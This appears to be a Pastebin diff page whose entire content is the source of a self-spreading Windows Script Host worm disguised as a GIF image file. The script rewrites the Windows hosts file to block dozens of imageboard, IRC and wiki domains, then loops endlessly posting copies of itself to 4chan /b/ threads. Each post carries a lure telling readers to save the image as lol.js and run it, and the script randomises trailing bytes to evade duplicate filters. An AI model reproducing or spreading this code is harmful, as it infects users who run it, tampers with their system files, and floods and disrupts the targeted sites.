View difference between Paste ID: g6RxkDYS and f688a2d0c
SHOW: | | - or go back to the newest paste.
1
GIF89a=	"	p	1,இ~                                                                                                                                                                                                                                                                                                                                                                    ";
2
3
var targets = ["ns1.4chan.org", "ns2.4chan.org", "ns3.4chan.org", "www.4chan.org", "content.4chan.org", "orz.4chan.org", "tmp.4chan.org", "rs.4chan.org", "static.4chan.org", "zip.4chan.org", "bin.4chan.org", "dis.4chan.org", "img.4chan.org", "dat.4chan.org", "cgi.4chan.org", "nov.4chan.org", "4chan.org", "status.4chan.org", "4chanstatus.blogspot.com", "irc.rizon.net", "7chan.org", "www.7chan.org", "img.7chan.org", "dix.7chan.org", "irc.7chan.org", "420chan.org", "img.420chan.org", "disc.420chan.org", "irc.420chan.org", "blog.420chan.org", "radio.420chan.org", "711chan.org", "www.711chan.org", "irc.711chan.org", "99chan.org", "www.99chan.org", "irc.99chan.org", "12chan.org", "www.12chan.org", "img.12chan.org", "irc.12chan.org", "shii.org", "www.shii.org", "irc.partyvan.us", "irc.partyvan.fm", "irc.raidchan.org", "encyclopediadramatica.com", "www.encyclopediadramatica.com", "partyvan.eu", "www.partyvan.eu", "anontalk.com", "www.anontalk.com"];
4
5
6
7
// Character choices for random alphanumeric strings
8
9
var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
10
11
12
13
// Last update time for front page
14
15
var modtime = null;
16
17
18
19
// Get copy of this script
20
21
var fs = WSH.createObject("Scripting.FileSystemObject");
22
23
var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
24
25
var image = thisfile.readAll().replace(/\x01\x01\x01\x01.*?~/, "\x01\x01\x01\x01\u0b87~");
26
27
thisfile.close();
28
29
30
31
// Put copies of the script in System32 directory
32
33
try {
34
35
    var shell = WScript.CreateObject("WScript.Shell");
36
37
    var env = shell.environment("PROCESS");
38
39
    var winpath = env("SYSTEMROOT");
40
41
    var hostsfile = fs.openTextFile(winpath + "\\system32\\drivers\\etc\\hosts", 8);
42
43
    for (var i = 0; i < targets.length; i++) {
44
45
        hostsfile.writeLine("127.0.0.1       " + targets[i]);
46
47
    }
48
49
    hostsfile.close();
50
51
    shell.Run("ipconfig /flushdns");
52
53
} catch(e) {}
54
55
56
57
// Post it over and over
58
59
var comment = "1. Open this image.\r\n2. Save it as lol.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks.";
60
61
var filename = "lol.gif";
62
63
while (1) {
64
65
    try {
66
67
        // Modify "image" to get around duplicate image filter
68
69
        image = image.substr(0,image.length-20);
70
71
        for (var i = 0; i < 20; i++) {
72
73
            image = image + choices.charAt( Math.floor(Math.random()*choices.length) );
74
75
        }
76
77
78
79
        // Create XMLHttp request object
80
81
        var request = WSH.createObject("Msxml2.XMLHTTP");
82
83
84
85
        // Get a thread number
86
87
        request.open("get", "http://207.126.64.181/b/imgboard.html", 0);
88
89
        if (modtime != null) {
90
91
            request.setRequestHeader("If-Modified-Since", modtime);
92
93
        }
94
95
        request.send();
96
97
        modtime = request.getResponseHeader("Last-Modified");
98
99
        var threadlist = request.responseText.match(/<span id="nothread\d+/g);
100
101
        var thread = threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\d+/)[0];
102
103
104
105
        // Set site to post to
106
107
        request.open("post", "http://207.126.64.182/b/imgboard.php", 0);
108
109
110
111
        // Set headers
112
113
        var bdry = "";
114
115
        for (var i = 0; i < 20; i++) {
116
117
            bdry = bdry + choices.charAt( Math.floor(Math.random()*choices.length) );
118
119
        }
120
121
        request.setRequestHeader( "Referer", "http://img.4chan.org/b/res/" + thread + ".html" );
122
123
        request.setRequestHeader( "Content-Type", "multipart/form-data; boundary=" + bdry );
124
125
126
127
        // Generate random password
128
129
        var pwd = "";
130
131
        for (var i = 0; i < 8; i++) {
132
133
            pwd = pwd + choices.charAt( Math.floor(Math.random()*choices.length) );
134
135
        }
136
137
138
139
        // Send post
140
141
        var post = "--%b%cMAX_FILE_SIZE\"\r\n\r\n2097152\r\n"
142
143
            + "--%b%cresto\"\r\n\r\n" + thread + "\r\n"
144
145
            + "--%b%cname\"\r\n\r\n\r\n"
146
147
            + "--%b%cemail\"\r\n\r\nnoko\r\n"
148
149
            + "--%b%csub\"\r\n\r\n\r\n"
150
151
            + "--%b%ccom\"\r\n\r\n" + comment + "\r\n"
152
153
            + "--%b%cupfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/gif\r\n\r\n";
154
155
        var post2 = "\r\n"
156
157
            + "--%b%cpwd\"\r\n\r\n" + pwd + "\r\n"
158
159
            + "--%b%cmode\"\r\n\r\nregist\r\n"
160
161
            + "--%b--\r\n";
162
163
        post = post.replace(/%b/g, bdry);
164
165
        post = post.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
166
167
        post2 = post2.replace(/%b/g, bdry);
168
169
        post2 = post2.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
170
171
        request.send(post + image + post2);
172
173
        WSH.sleep( 45000 + Math.floor(30000 * Math.random()) );
174
175
    } catch(e) {}
176
177
}
178
179
180
181
// 16Jck9k5ER3zAwlvwj6q